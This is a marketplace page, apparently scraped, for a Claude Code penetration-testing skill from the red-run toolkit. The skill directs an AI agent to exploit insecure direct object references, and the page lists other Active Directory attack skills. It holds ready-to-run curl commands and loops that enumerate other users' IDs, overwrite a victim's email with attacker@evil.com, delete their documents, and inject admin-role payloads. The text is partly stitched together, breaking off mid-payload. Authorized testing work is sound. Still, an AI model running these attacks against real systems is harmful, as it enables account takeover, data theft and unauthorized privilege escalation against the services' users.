acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit Insecure Direct Object Reference (IDOR) and broken access control vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill idor --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/idorContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit Insecure Direct Object Reference (IDOR) and broken access control vulnerabilities during authorized penetration testing.
name: idor description: > Exploit Insecure Direct Object Reference (IDOR) and broken access control vulnerabilities during authorized penetration testing. keywords: - idor - idor enumeration - idor-enumeration - insecure direct object reference - broken access control - horizontal privilege escalation - vertical privilege escalation - parameter tampering - uuid enumeration - api idor - object reference - access control bypass - bola - broken object level authorization - user id enumeration - enumerate users via idor tools: - burpsuite (Autorize/AuthMatrix extensions) - ffuf - curl opsec: low
You are helping a penetration tester exploit Insecure Direct Object Reference and broken access control vulnerabilities. The target application uses user-controllable identifiers (IDs, UUIDs, filenames, etc.) to reference objects without properly verifying the requesting user's authorization. The goal is to access, modify, or delete objects belonging to other users, or escalate privileges. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
knowledge of a higher-privilege user's ID (for vertical testing)
POST body, or header
If not already provided, determine:
1. **ID format** — what type of identifier is used?
| Format | Example | Predictability | |--------|---------|---------------| | Sequential integer | `123`, `456` | Trivially enumerable | | UUID v1 | `95f6e264-bb00-11ec-8833-00155d01ef00` | Timestamp + machine — partially predictable | | UUID v4 | `550e8400-e29b-41d4-a716-446655440000` | Random — not enumerable without leak | | MongoDB ObjectId | `5ae9b90a2c144b9def01ec37` | Timestamp + counter — predictable if you know creation time | | Base64-encoded | `MTIz` (decodes to `123`) | Decode first, then assess inner format | | Hash (MD5/SHA1) | `098f6bcd4621d373cade4e832627b4f6` | Predictable if input is known (e.g., MD5 of username) | | Slug | `john-doe`, `my-post-title` | Guessable with wordlists |
2. **Injection point** — where does the ID appear?
3. **Authorization mechanism** — session cookie, JWT, OAuth token, API key?
4. **API type** — REST, GraphQL, gRPC-Web, SOAP?
Test whether User A can access User B's objects (same privilege level).
# Get your own resource (baseline — note response structure) curl -s -H "Cookie: session=YOUR_SESSION" \ "https://TARGET/api/users/YOUR_ID/profile" # Try another user's ID (change ONLY the ID, keep your auth) curl -s -H "Cookie: session=YOUR_SESSION" \ "https://TARGET/api/users/OTHER_ID/profile"
Compare responses:
# Test IDs around your own
# If your ID is 1337, try 1336, 1338, 1, 2, etc.
for id in 1336 1338 1 2 100 1000; do
echo -n "ID $id: "
curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/$id/profile"
echo
done# The GET might be protected but PUT/DELETE might not be
for method in GET POST PUT PATCH DELETE; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -X $method \
-H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/OTHER_ID/profile"
echo
done# Try modifying another user's data
curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com"}' \
"https://TARGET/api/users/OTHER_ID/profile"
# Try deleting another user's resource
curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
"https://TARGET/api/users/OTHER_ID/documents/456"Test whether a low-privilege user can access admin or higher-privilege functionality.
# If the API returns a role field, try including it in an update request
curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}' \
"https://TARGET/api/users/YOUR_ID/profile"
# Variants
-d '{"is_admin": true}'
-d '{"role_id": 1}'
-d '{"permissions": ["admin", "write", "delete"]}'
-d '{"group": "adSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…